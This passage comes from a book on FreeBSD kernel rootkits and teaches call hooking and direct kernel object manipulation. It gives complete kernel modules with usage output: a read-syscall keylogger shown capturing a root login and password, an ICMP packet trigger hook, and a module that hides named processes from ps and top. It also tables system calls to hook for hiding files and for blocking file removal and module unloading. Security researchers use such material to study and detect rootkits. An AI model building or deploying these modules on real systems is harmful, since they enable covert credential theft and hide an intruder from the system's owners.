NOTE For our purposes, think of a linker file as an usher (or escort) for one or more kernel 
modules, guiding them into kernel space.

1.8 Concluding Remarks

This chapter has been a whirlwind tour of FreeBSD kernel-module program-
ming. I’ve described some of the various types of KLDs that we’ll encounter 
again and again, and you’ve seen numerous small examples to give you a feel 
for what the remainder of this book is like.

Two additional points are also worth mentioning. First, the kernel source 
tree, which is located in /usr/src/sys/,7 is the best reference and learning 
tool for a newbie FreeBSD kernel hacker. If you have yet to look through 
this directory, by all means, do so; much of the code in this book is gleaned 
from there.

Second, consider setting up a FreeBSD machine with a debug kernel 
or kernel-mode debugger; this helps considerably when you write your own 
kernel code. The following online resources will help you.

� The FreeBSD Developer’s Handbook, specifically Chapter 10, located at http://
www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook.

� Debugging Kernel Problems by Greg Lehey, located at http://www.lemis
.com/grog/Papers/Debug-tutorial/tutorial.pdf.

7  Typically, there is also a symlink from /sys/ to /usr/src/sys/.
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H O O K I N G

We’ll start our discussion of kernel-mode 
rootkits with call hooking, or simply 

hooking, which is arguably the most popular 
rootkit technique.

Hooking is a programming technique that employs handler functions 
(called hooks) to modify control flow.  A new hook registers its address as 
the location for a specific function, so that when that function is called, 
the hook is run instead. Typically, a hook will call the original function at 
some point in order to preserve the original behavior. Figure 2-1 illustrates 
the control flow of a subroutine before and after installing a call hook.

Figure 2-1: Normal execution versus hooked execution

Normal Execution

Function A Function B

Hooked Execution

Function A Function B

Hook
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As you can see, hooking is used to extend (or decrease) the function-
ality of a subroutine. In terms of rootkit design, hooking is used to alter the 
results of the operating system’s application programming interfaces (APIs), 
most commonly those involved with bookkeeping and reporting.

Now, let’s start abusing the KLD interface.

2.1 Hooking a System Call

Recall from Chapter 1 that a system call is the entry point through which an 
application program requests service from the operating system’s kernel. By 
hooking these entry points, a rootkit can alter the data the kernel returns to 
any or every user space process. In fact, hooking system calls is so effective 
that most (publicly available) rootkits employ it in some way.

In FreeBSD, a system call hook is installed by registering its address 
as the system call function within the target system call’s sysent structure 
(which is located within sysent[]).

NOTE For more on system calls, see Section 1.4.

Listing 2-1 is an example system call hook (albeit a trivial one) designed 
to output a debug message whenever a user space process calls the mkdir 
system call—in other words, whenever a directory is created.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

/* mkdir system call hook. */
static int
mkdir_hook(struct thread *td, void *syscall_args)
{
        struct mkdir_args /* {
                char    *path;
                int     mode;
        } */ *uap;
        uap = (struct mkdir_args *)syscall_args;

        char path[255];
        size_t done;
        int error;

        error = copyinstr(uap->path, path, 255, &done);
        if (error != 0)
                return(error);

        /* Print a debug message. */
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        uprintf("The directory \"%s\" will be created with the following"
            " permissions: %o\n", path, uap->mode);

        return(mkdir(td, syscall_args));
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                /* Replace mkdir with mkdir_hook. */
                �sysent[�SYS_mkdir].sy_call = (sy_call_t *)mkdir_hook;
                break;

        case MOD_UNLOAD:
                /* Change everything back to normal. */
                �sysent[SYS_mkdir].sy_call = (sy_call_t *)mkdir;
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

static moduledata_t mkdir_hook_mod = {
        "mkdir_hook",           /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(mkdir_hook, mkdir_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 2-1: mkdir_hook.c

Notice that upon module load, the event handler � registers mkdir_hook 
(which simply prints a debug message and then calls mkdir) as the mkdir system 
call function. This single line installs the system call hook. To remove the 
hook, simply � reinstate the original mkdir system call function upon module 
unload.

NOTE The constant � SYS_mkdir is defined as the offset value for the mkdir system call. 
This constant is defined in the <sys/syscall.h> header, which also contains a 
complete listing of all in-kernel system call numbers.

The following output shows the results of executing mkdir(1) after 
loading mkdir_hook.
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$ sudo kldload ./mkdir_hook.ko
$ mkdir test
The directory "test" will be created with the following permissions: 777
$ ls –l
. . .
drwxr-xr-x  2 ghost  ghost   512 Mar 22 08:40 test

As you can see, mkdir(1) is now a lot more verbose.1

2.2 Keystroke Logging

Now let’s look at a more interesting (but still somewhat trivial) example of a 
system call hook.

Keystroke logging is the simple act of intercepting and capturing a user’s 
keystrokes. In FreeBSD, this can be accomplished by hooking the read system 
call.2 As its name implies, this call is responsible for reading in input. Here is 
its C library definition:

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>

ssize_t
read(int fd, void *buf, size_t nbytes);

The read system call reads in nbytes of data from the object referenced by 
the descriptor fd into the buffer buf. Therefore, in order to capture a user’s 
keystrokes, you simply have to save the contents of buf (before returning 
from a read call) whenever fd points to standard input (i.e., file descriptor 0).
For example, take a look at Listing 2-2:

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/sysproto.h>

/*
 * read system call hook.
 * Logs all keystrokes from stdin.
 * Note: This hook does not take into account special characters, such as
 * Tab, Backspace, and so on.
 */

1  For you astute readers, yes, I have a umask of 022, which is why the permissions for “test” are 
755, not 777.
2  Actually, to create a full-fledged keystroke logger, you would have to hook read, readv, pread, 
and preadv.
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static int
read_hook(struct thread *td, void *syscall_args)
{
        struct read_args /* {
                int     fd;
                void    *buf;
                size_t  nbyte;
        } */ *uap;
        uap = (struct read_args *)syscall_args;

        int error;
        char buf[1];
        int done;

        �error = read(td, syscall_args);

        �if (error || (!uap->nbyte) || (uap->nbyte > 1) || (uap->fd != 0))
                �return(error);

        �copyinstr(uap->buf, buf, 1, &done);
        printf("%c\n", buf[0]);

        return(error);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                /* Replace read with read_hook. */
                sysent[SYS_read].sy_call = (sy_call_t *)read_hook;
                break;

        case MOD_UNLOAD:
                /* Change everything back to normal. */
                sysent[SYS_read].sy_call = (sy_call_t *)read;
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

static moduledata_t read_hook_mod = {
        "read_hook",            /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(read_hook, read_hook_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);

Listing 2-2: read_hook.c
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In Listing 2-2 the function read_hook first � calls read to read in the data 
from fd. If this data is � not a keystroke (which is defined as one character 
or one byte in size) originating from standard input, then � read_hook returns. 
Otherwise, the data (i.e., keystroke) is � copied into a local buffer, effectively 
“capturing” it.

NOTE In the interest of saving space (and keeping things simple), read_hook simply dumps 
the captured keystroke(s) to the system console.

Here are the results from logging into a system after loading read_hook:

login: root
Password:
Last login: Mon Mar 4 00:29:14 on ttyv2

root@alpha ~# dmesg | tail -n 32
r
o
o
t

p
a
s
s
w
d
. . .

As you can see, my login credentials—my username (root) and password 
(passwd)3—have been captured. At this point, you should be able to hook any 
system call. However, one question remains: If you aren’t a kernel guru, how 
do you determine which system call(s) to hook? The answer is: you use kernel 
process tracing.

2.3 Kernel Process Tracing

Kernel process tracing is a diagnostic and debugging technique used to inter-
cept and record each kernel operation—that is, every system call, namei 
translation, I/O, signal processed, and context switch performed on behalf 
of a specific running process. In FreeBSD, this is done with the ktrace(1) and 
kdump(1) utilities. For example:

$ ktrace ls
file1           file2           ktrace.out
$ kdump
   517 ktrace   RET   ktrace 0

3  Obviously, this is not my real root password.
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   517 ktrace   CALL  execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
   517 ktrace   NAMI  "/sbin/ls"
   517 ktrace   RET   execve -1 errno 2 No such file or directory
   517 ktrace   CALL  execve(0xbfbfe790,0xbfbfecdc,0xbfbfece4)
   517 ktrace   NAMI  "/bin/ls"
   517 ktrace   NAMI  "/libexec/ld-elf.so.1"
   517 ls       RET   execve 0
. . .
   517 ls       CALL  �getdirentries(0x5,0x8054000,0x1000,0x8053014)
   517 ls       RET   getdirentries 512/0x200
   517 ls       CALL  getdirentries(0x5,0x8054000,0x1000,0x8053014)
   517 ls       RET   getdirentries 0
   517 ls       CALL  �lseek(0x5,0,0,0,0)
   517 ls       RET   lseek 0
   517 ls       CALL  �close(0x5)
   517 ls       RET   close 0
   517 ls       CALL  �fchdir(0x4)
   517 ls       RET   fchdir 0
   517 ls       CALL  close(0x4)
   517 ls       RET   close 0
   517 ls       CALL  fstat(0x1,0xbfbfdea0)
   517 ls       RET   fstat 0
   517 ls       CALL  break(0x8056000)
   517 ls       RET   break 0
   517 ls       CALL  ioctl(0x1,TIOCGETA,0xbfbfdee0)
   517 ls       RET   ioctl 0
   517 ls       CALL  write(0x1,0x8055000,0x19)
   517 ls       GIO   fd 1 wrote 25 bytes
       "file1           file2           ktrace.out
       "
   517 ls       RET   write 25/0x19
   517 ls       CALL  exit(0)

NOTE In the interest of being concise, any output irrelevant to this discussion is omitted.

As the preceding example shows, the ktrace(1) utility enables kernel 
trace logging for a specific process [in this case, ls(1)], while kdump(1) displays 
the trace data.

Notice the various system calls that ls(1) issues during its execution, such 
as � getdirentries, � lseek, � close, � fchdir, and so on. This means that you 
can affect the operation and/or output of ls(1) by hooking one or more of 
these calls.

The main point to all of this is that when you want to alter a specific 
process and you don’t know which system call(s) to hook, you just need to 
perform a kernel trace.

2.4 Common System Call Hooks

For the sake of being thorough, Table 2-1 outlines some of the most 
common system call hooks.



30 Chapter  2

Now let’s look at some of the other kernel functions that you 
can hook.

2.5 Communication Protocols

As its name implies, a communication protocol is a set of rules and conventions 
used by two communicating processes (for example, the TCP/IP protocol 
suite). In FreeBSD, a communication protocol is defined by its entries in a 
protocol switch table. As such, by modifying these entries, a rootkit can alter 
the data sent and received by either communication endpoint. To better 
illustrate this “attack,” allow me to digress.

2.5.1 The protosw Structure

The context of each protocol switch table is maintained in a protosw structure, 
which is defined in the <sys/protosw.h> header as follows:

struct protosw {
        short   pr_type;                /* socket type */
        struct  domain *pr_domain;      /* domain protocol */
        short   pr_protocol;            /* protocol number */
        short   pr_flags;
/* protocol-protocol hooks */
        pr_input_t *pr_input;           /* input to protocol (from below) */
        pr_output_t *pr_output;         /* output to protocol (from above) */

Table 2-1: Common System Call Hooks

System Call Purpose of Hook

read, readv, pread, preadv Logging input

write, writev, pwrite, pwritev Logging output

open Hiding file contents

unlink Preventing file removal

chdir Preventing directory traversal

chmod Preventing file mode modification

chown Preventing ownership change

kill Preventing signal sending

ioctl Manipulating ioctl requests

execve Redirecting file execution

rename Preventing file renaming

rmdir Preventing directory removal

stat, lstat Hiding file status

getdirentries Hiding files

truncate Preventing file truncating or extending

kldload Preventing module loading

kldunload Preventing module unloading
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        pr_ctlinput_t *pr_ctlinput;     /* control input (from below) */
        pr_ctloutput_t *pr_ctloutput;   /* control output (from above) */
/* user-protocol hook */
        pr_usrreq_t     *pr_ousrreq;
/* utility hooks */
        pr_init_t *pr_init;
        pr_fasttimo_t *pr_fasttimo;     /* fast timeout (200ms) */
        pr_slowtimo_t *pr_slowtimo;     /* slow timeout (500ms) */
        pr_drain_t *pr_drain;           /* flush any excess space possible */

        struct  pr_usrreqs *pr_usrreqs; /* supersedes pr_usrreq() */
};

Table 2-2 defines the entry points in struct protosw that you’ll need to 
know in order to modify a communication protocol.

2.5.2 The inetsw[] Switch Table

Each communication protocol’s protosw structure is defined in the file
/sys/netinet/in_proto.c. Here is a snippet from this file:

struct protosw �inetsw[] = {
{
        .pr_type =              0,
        .pr_domain =            &inetdomain,
        .pr_protocol =          IPPROTO_IP,
        .pr_init =              ip_init,
        .pr_slowtimo =          ip_slowtimo,
        .pr_drain =             ip_drain,
        .pr_usrreqs =           &nousrreqs
},
{
        .pr_type =              SOCK_DGRAM,
        .pr_domain =            &inetdomain,
        .pr_protocol =          IPPROTO_UDP,
        .pr_flags =             PR_ATOMIC|PR_ADDR,
        .pr_input =             udp_input,
        .pr_ctlinput =          udp_ctlinput,
        .pr_ctloutput =         ip_ctloutput,
        .pr_init =              udp_init,
        .pr_usrreqs =           &udp_usrreqs
},

Table 2-2: Protocol Switch Table Entry Points

Entry Point Description

pr_init Initialization routine

pr_input Pass data up toward the user

pr_output Pass data down toward the network

pr_ctlinput Pass control information up

pr_ctloutput Pass control information down
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{
        .pr_type =              SOCK_STREAM,
        .pr_domain =            &inetdomain,
        .pr_protocol =          IPPROTO_TCP,
        .pr_flags =             PR_CONNREQUIRED|PR_IMPLOPCL|PR_WANTRCVD,
        .pr_input =             tcp_input,
        .pr_ctlinput =          tcp_ctlinput,
        .pr_ctloutput =         tcp_ctloutput,
        .pr_init =              tcp_init,
        .pr_slowtimo =          tcp_slowtimo,
        .pr_drain =             tcp_drain,
        .pr_usrreqs =           &tcp_usrreqs
},
. . .

Notice that every protocol switch table is defined within � inetsw[]. This 
means that in order to modify a communication protocol, you have to go 
through inetsw[].

2.5.3 The mbuf Structure

Data (and control information) that is passed between two communicating 
processes is stored within an mbuf structure, which is defined in the <sys/mbuf.h> 
header. To be able to read and modify this data, there are two fields in 
struct mbuf that you’ll need to know: m_len, which identifies the amount 
of data contained within the mbuf, and m_data, which points to the data.

2.6 Hooking a Communication Protocol

Listing 2-3 is an example communication protocol hook designed to output 
a debug message whenever an Internet Control Message Protocol (ICMP) 
redirect for Type of Service and Host message containing the phrase Shiny 
is received.

NOTE An ICMP redirect for Type of Service and Host message contains a type field of 5 and a 
code field of 3.

#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/mbuf.h>
#include <sys/protosw.h>

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip_var.h>
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#define TRIGGER "Shiny."

extern struct protosw inetsw[];
pr_input_t icmp_input_hook;

/* icmp_input hook. */
void
icmp_input_hook(struct mbuf *m, int off)
{
        struct icmp *icp;
        �int hlen = off;

        /* Locate the ICMP message within m. */
        m->m_len -= hlen;
        �m->m_data += hlen;

        /* Extract the ICMP message. */
        �icp = mtod(m, struct icmp *);

        /* Restore m. */
        �m->m_len += hlen;
        m->m_data -= hlen;

        /* Is this the ICMP message we are looking for? */
        if (icp->icmp_type == ICMP_REDIRECT &&
            icp->icmp_code == ICMP_REDIRECT_TOSHOST &&
            strncmp(icp->icmp_data, TRIGGER, 6) == 0)
                �printf("Let's be bad guys.\n");
        else
                icmp_input(m, off);
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                /* Replace icmp_input with icmp_input_hook. */
                �inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input_hook;
                break;

        case MOD_UNLOAD:
                /* Change everything back to normal. */
                �inetsw[�ip_protox[IPPROTO_ICMP]].pr_input = icmp_input;
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
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}

static moduledata_t icmp_input_hook_mod = {
        "icmp_input_hook",      /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(icmp_input_hook, icmp_input_hook_mod, SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE);

Listing 2-3: icmp_input_hook.c

In Listing 2-3 the function icmp_input_hook first � sets hlen to the received 
ICMP message’s IP header length (off). Next, the location of the ICMP 
message within m is determined; keep in mind that an ICMP message is 
transmitted within an IP datagram, which is why � m_data is increased by hlen. 
Next, the ICMP message is � extracted from m. Thereafter, the changes made 
to m are � reversed, so that when m is actually processed, it’s as if nothing 
even happened. Finally, if the ICMP message is the one we are looking for, 
� a debug message is printed; otherwise, icmp_input is called.

Notice that upon module load, the event handler � registers 
icmp_input_hook as the pr_input entry point within the ICMP switch table. 
This single line installs the communication protocol hook. To remove 
the hook, simply � reinstate the original pr_input entry point (which is 
icmp_input, in this case) upon module unload.

NOTE The value of � ip_protox[IPPROTO_ICMP] is defined as the offset, within inetsw[], 
for the ICMP switch table. For more on ip_protox[], see the ip_init function in
/sys/netinet/ip_input.c.

The following output shows the results of receiving an ICMP redirect for 
Type of Service and Host message after loading icmp_input_hook:

$ sudo kldload ./icmp_input_hook.ko
$ echo Shiny. > payload
$ sudo nemesis icmp -i 5 -c 3 -P ./payload -D 127.0.0.1

ICMP Packet Injected
$ dmesg | tail -n 1
Let's be bad guys.

Admittedly, icmp_input_hook has some flaws; however, for the purpose of 
demonstrating a communication protocol hook, it’s more than sufficient.

If you are interested in fixing up icmp_input_hook for use in the real world, 
you only need to make two additions. First, make sure that the IP datagram 
actually contains an ICMP message before you attempt to locate it. This can 
be achieved by checking the length of the data field in the IP header. Second, 
make sure that the data within m is actually there and accessible. This can be 
achieved by calling m_pullup. For example code on how to do both of these 
things, see the icmp_input function in /sys/netinet/ip_icmp.c.
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2.7 Concluding Remarks

As you can see, call hooking is really all about redirecting function pointers, 
and at this point, you should have no trouble doing that.

Keep in mind that there are usually a few different entry points you could 
hook in order to accomplish a specific task. For example, in Section 2.2 I 
created a keystroke logger by hooking the read system call; however, this can 
also be accomplished by hooking the l_read entry point in the terminal line 
discipline (termios)4 switch table.

For educational purposes and just for fun, I encourage you to try to 
hook the l_read entry point in the termios switch table. To do so, you’ll 
need to be familiar with the linesw[] switch table, which is implemented 
in the file /sys/kern/tty_conf.c, as well as struct linesw, which is defined in 
the <sys/linedisc.h> header.

NOTE This hook entails a bit more work than the ones shown throughout this chapter.

4  The terminal line discipline (termios) is essentially the data structure used to process 
communication with a terminal and to describe its state.
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D I R E C T  K E R N E L  O B J E C T  

M A N I P U L A T I O N

All operating systems store internal record-
keeping data within main memory, usually 

as objects—that is, structures, queues, and 
the like. Whenever you ask the kernel for a list 

of running processes, open ports, and so on, this data 
is parsed and returned. Because this data is stored in 
main memory, it can be manipulated directly; there is no need to install a 
call hook to redirect control flow. This technique is commonly referred to as 
Direct Kernel Object Manipulation (DKOM) (Hoglund and Butler, 2005).

Before I get into this topic, however, let’s look at how kernel data is 
stored in a FreeBSD system.

3.1 Kernel Queue Data Structures

In general, a lot of interesting information is stored as a queue data structure 
(also known as a list) inside the kernel. One example is the list of loaded 
linker files; another is the list of loaded kernel modules.
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The header file <sys/queue.h> defines four different types of queue data 
structures: singly-linked lists, singly-linked tail queues, doubly-linked lists, and 
doubly-linked tail queues. This file also contains 61 macros for declaring and 
operating on these structures.

The following five macros are the basis for DKOM with doubly-linked lists.

NOTE The macros for manipulating singly-linked lists, singly-linked tail queues, and doubly-
linked tail queues are not discussed because they are in effect identical to the ones shown 
below. For details on the use of these macros, see the queue(3) manual page.

3.1.1 The LIST_HEAD Macro

A doubly-linked list is headed by a structure defined by the LIST_HEAD macro. 
This structure contains a single pointer to the first element on the list. The 
elements are doubly-linked so that an arbitrary element can be removed 
without traversing the list. New elements can be added to the list before an 
existing element, after an existing element, or at the head of the list.

The following is the LIST_HEAD macro definition:

#define LIST_HEAD(name, type)                                           \
struct name {                                                           \
        struct type *lh_first;  /* first element */                     \
}

In this definition, name is the name of the structure to be defined, and 
type specifies the types of elements to be linked into the list.

If a LIST_HEAD structure is declared as follows:

LIST_HEAD(HEADNAME, TYPE) head;

then a pointer to the head of the list can later be declared as:

struct HEADNAME *headp;

3.1.2 The LIST_HEAD_INITIALIZER Macro

The head of a doubly-linked list is initialized by the LIST_HEAD_INITIALIZER 
macro.

#define LIST_HEAD_INITIALIZER(head)                                     \
        { NULL }

3.1.3 The LIST_ENTRY Macro

The LIST_ENTRY macro declares a structure that connects the elements in a 
doubly-linked list.
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#define LIST_ENTRY(type)                                                \
struct {                                                                \
        struct type *le_next;   /* next element */                      \
        struct type **le_prev;  /* address of previous element */       \
}

This structure is referenced during insertion, removal, and traversal of 
the list.

3.1.4 The LIST_FOREACH Macro

A doubly-linked list is traversed with the LIST_FOREACH macro.

#define LIST_FOREACH(var, head, field)                                  \
        for ((var) = LIST_FIRST((head));                                \
            (var);                                                      \
            (var) = LIST_NEXT((var), field))

This macro traverses the list referenced by head in the forward direction, 
assigning each element in turn to var. The field argument contains the 
structure declared with the LIST_ENTRY macro.

3.1.5 The LIST_REMOVE Macro

An element on a doubly-linked list is decoupled with the LIST_REMOVE macro.

#define LIST_REMOVE(elm, field) do {                                    \
        if (LIST_NEXT((elm), field) != NULL)                            \
                LIST_NEXT((elm), field)->field.le_prev =                \
                    (elm)->field.le_prev;                               \
        *(elm)->field.le_prev = LIST_NEXT((elm), field);                \
} while (0)

Here, elm is the element to be removed, and field contains the structure 
declared with the LIST_ENTRY macro.

3.2 Synchronization Issues

As you’ll soon see, you can alter how the kernel perceives the operating 
system’s state by manipulating the various kernel queue data structures. 
However, you risk damaging the system by simply traversing and/or modify-
ing these objects by virtue of being preemptible; that is, if your code is 
interrupted and another thread accesses or manipulates the same objects 
that you were manipulating, data corruption can result. Moreover, with 
symmetric multiprocessing (SMP), preemption isn’t even necessary; if your 
code is running on one CPU, while another thread on another CPU is 
manipulating the same object, data corruption can occur.
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To safely manipulate the kernel queue data structures—that is, in order 
to ensure thread synchronization—your code should acquire the appropriate 
lock (i.e., resource access control) first. In our examples, this will either be a 
mutex or shared/exclusive lock.

3.2.1 The mtx_lock Function
Mutexes provide mutual exclusion for one or more data objects and are the 
primary method of thread synchronization. 

A kernel thread acquires a mutex by calling the mtx_lock function.

#include <sys/param.h>
#include <sys/lock.h>
#include <sys/mutex.h>

void
mtx_lock(struct mtx *mutex);

If another thread is currently holding the mutex, the caller will sleep 
until the mutex is available.

3.2.2 The mtx_unlock Function
A mutex lock is released by calling the mtx_unlock function.

#include <sys/param.h>
#include <sys/lock.h>
#include <sys/mutex.h>

void
mtx_unlock(struct mtx *mutex);

If a higher priority thread is waiting for the mutex, the releasing thread 
may be preempted to allow the higher priority thread to acquire the mutex 
and run.

NOTE For more on mutexes, see the mutex(9) manual page.

3.2.3 The sx_slock and sx_xlock Functions
Shared/exclusive locks (also known as sx locks) are simple reader/writer locks 
that can be held across a sleep. As their name suggests, multiple threads may 
hold a shared lock, but only one thread may hold an exclusive lock. Further-
more, if one thread holds an exclusive lock, no other threads may hold a 
shared lock.

A thread acquires a shared or exclusive lock by calling the sx_slock or 
sx_xlock functions, respectively.

#include <sys/param.h>
#include <sys/lock.h>
#include <sys/sx.h>
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void
sx_slock(struct sx *sx);

void
sx_xlock(struct sx *sx);

3.2.4 The sx_sunlock and sx_xunlock Functions

To release a shared or exclusive lock, call the sx_sunlock or sx_xunlock 
functions, respectively.

#include <sys/param.h>
#include <sys/lock.h>
#include <sys/sx.h>

void
sx_sunlock(struct sx *sx);

void
sx_xunlock(struct sx *sx);

NOTE For more on shared/exclusive locks, see the sx(9) manual page.

3.3 Hiding a Running Process

Now, equipped with the macros and functions from the previous sections, I’ll 
detail how to hide a running process using DKOM. First, though, we need 
some background information on process management.

3.3.1 The proc Structure

In FreeBSD the context of each process is maintained in a proc structure, 
which is defined in the <sys/proc.h> header. The following list describes the 
fields in struct proc that you’ll need to understand in order to hide a running 
process.

NOTE I’ve tried to keep this list brief so that it can be used as a reference. You can skip over 
this list on your first reading and refer back to it when you face some real C code.

LIST_ENTRY(proc) p_list;
This field contains the linkage pointers that are associated with the proc 
structure, which is stored on either the allproc or zombproc list (discussed 
in Section 3.3.2). This field is referenced during insertion, removal, and 
traversal of either list.

int p_flag;
These are the process flags, such as P_WEXIT, P_EXEC, and so on, that are 
set on the running process. All the flags are defined in the <sys/proc.h> 
header.



42 Chapter  3

enum { PRS_NEW = 0, PRS_NORMAL, PRS_ZOMBIE } p_state;
This field represents the current process state, where PRS_NEW identifies 
a newly born but incompletely initialized process, PRS_NORMAL identifies a 
“live” process, and PRS_ZOMBIE identifies a zombie process.

pid_t p_pid;
This is the process identifier (PID), which is a 32-bit integer value.

LIST_ENTRY(proc) p_hash;
This field contains the linkage pointers that are associated with the proc 
structure, which is stored on pidhashtbl (discussed in Section 3.4.2). This 
field is referenced during insertion, removal, and traversal of pidhashtbl.

struct mtx p_mtx;
This is the resource access control associated with the proc structure. The 
header file <sys/proc.h> defines two macros, PROC_LOCK and PROC_UNLOCK, for 
conveniently acquiring and releasing this lock.

#define PROC_LOCK(p)    mtx_lock(&(p)->p_mtx)
#define PROC_UNLOCK(p)  mtx_unlock(&(p)->p_mtx)

struct vmspace *p_vmspace;
This is the virtual memory state of the process, including the machine-
dependent and machine-independent data structures, as well as statistics.

char p_comm[MAXCOMLEN + 1];
This is the name or command used to execute the process. The constant 
MAXCOMLEN is defined in the <sys/param.h> header as follows:

#define MAXCOMLEN       19              /* max command name remembered */

3.3.2 The allproc List

FreeBSD organizes its proc structures into two lists. All processes in the ZOMBIE 
state are located on the zombproc list; the rest are on the allproc list. This list is 
referenced—albeit indirectly—by ps(1), top(1), and other reporting tools to 
list the running processes on the system. Thus, you can hide a running process 
by simply removing its proc structure from the allproc list.

NOTE Naturally, one might think that by removing a proc structure from the allproc list, 
the associated process would not execute. In the past, several authors and hackers have 
stated that modifying allproc would be far too complicated, because it is used in process 
scheduling and other important system tasks. However, because processes are now exe-
cuted at thread granularity, this is no longer the case.

The allproc list is defined in the <sys/proc.h> header as follows:

extern struct proclist allproc;         /* list of all processes */
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Notice that allproc is declared as a proclist structure, which is defined in 
the <sys/proc.h> header as follows:

LIST_HEAD(proclist, proc);

From these listings, you can see that allproc is simply a kernel queue data 
structure—a doubly-linked list of proc structures, to be exact.

The following excerpt from <sys/proc.h> lists the resource access control 
associated with the allproc list.

extern struct sx allproc_lock;

3.3.3 Example
Listing 3-1 shows a system call module designed to hide a running process by 
removing its proc structure(s) from the allproc list. The system call is invoked 
with one argument: a character pointer (i.e., a string) containing the name 
of the process to be hidden.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/sx.h>
#include <sys/mutex.h>

struct process_hiding_args {
        char *p_comm;           /* process name */
};

/* System call to hide a running process. */
static int
process_hiding(struct thread *td, void *syscall_args)
{
        struct process_hiding_args *uap;
        uap = (struct process_hiding_args *)syscall_args;

        struct proc *p;

        �sx_xlock(&allproc_lock);

        /* Iterate through the allproc list. */
        LIST_FOREACH(p, &allproc, p_list) {
                �PROC_LOCK(p);

                �if (!p->p_vmspace || (p->p_flag & P_WEXIT)) {
                        PROC_UNLOCK(p);
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                        continue;
                }

                /* Do we want to hide this process? */
                �if (strncmp(p->p_comm, uap->p_comm, MAXCOMLEN) == 0)
                        �LIST_REMOVE(p, p_list);

                �PROC_UNLOCK(p);
        }

        �sx_xunlock(&allproc_lock);

        return(0);
}

/* The sysent for the new system call. */
static struct sysent process_hiding_sysent = {
        1,                      /* number of arguments */
        process_hiding          /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(process_hiding, &offset, &process_hiding_sysent, load, NULL);

Listing 3-1: process_hiding.c

Notice how I’ve locked � the allproc list and � each proc structure, prior 
to inspection, to ensure thread synchronization—in layman’s terms, to avoid 
a kernel panic. Of course, I also release � � each lock after I’m done.
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An interesting detail about process_hiding is that prior to � the process 
name comparison, I � examine each process’s virtual address space and 
process flags. If the former does not exist or the latter is set to “working on 
exiting” the proc structure is unlocked and skipped over. What’s the point of 
hiding a process that’s not going to run?

Another interesting detail worth mentioning is that after I � remove the 
user-specified proc structure from the allproc list, I don’t force an immediate 
exit from the for loop. That is, there is no break statement. To understand 
why, consider a process that has duplicated or forked itself so that the parent 
and child can each execute different sections of code at the same time. 
(This is a popular practice in network servers, such as httpd.) In this situation, 
asking the system for a list of running processes would return both the parent 
and child processes, because each child process gets its own individual entry 
on the allproc list. Therefore, in order to hide every instance of a single 
process, you need to iterate through allproc in its entirety.

The following output shows process_hiding in action:

$ sudo kldload ./process_hiding.ko
System call loaded at offset 210.
$ ps
  PID  TT  STAT      TIME COMMAND
  530  v1  S      0:00.21 -bash (bash)
  579  v1  R+     0:00.02 ps
  502  v2  I      0:00.42 -bash (bash)
  529  v2  S+     0:02.52 top
$ perl -e '$p_comm = "top";' -e 'syscall(210, $p_comm);'
$ ps
  PID  TT  STAT      TIME COMMAND
  530  v1  S      0:00.26 -bash (bash)
  584  v1  R+     0:00.02 ps
  502  v2  I      0:00.42 -bash (bash)

Notice how I am able to hide top(1) from the output of ps(1). Just for fun, 
let’s look at this from top(1)’s perspective, shown below in a before-and-after 
style.

last pid:   582;  load averages:  0.00,  0.03,  0.04    up 0+00:19:08  03:46:
�20 processes:  1 running, 19 sleeping
CPU states:  0.0% user,  0.0% nice,  0.3% system, 14.1% interrupt, 85.5% idle
Mem: 6932K Active, 10M Inact, 14M Wired, 28K Cache, 10M Buf, 463M Free
Swap: 512M Total, 512M Free

  PID USERNAME  THR PRI NICE   SIZE    RES STATE    TIME   WCPU COMMAND
�529 ghost       1  96    0  2304K  1584K RUN      0:03  0.00% top
  502 ghost       1   8    0  3276K  2036K wait     0:00  0.00% bash
  486 root        1   8    0  1616K  1280K wait     0:00  0.00% login
  485 root        1   8    0  1616K  1316K wait     0:00  0.00% login
  530 ghost       1   5    0  3276K  2164K ttyin    0:00  0.00% bash
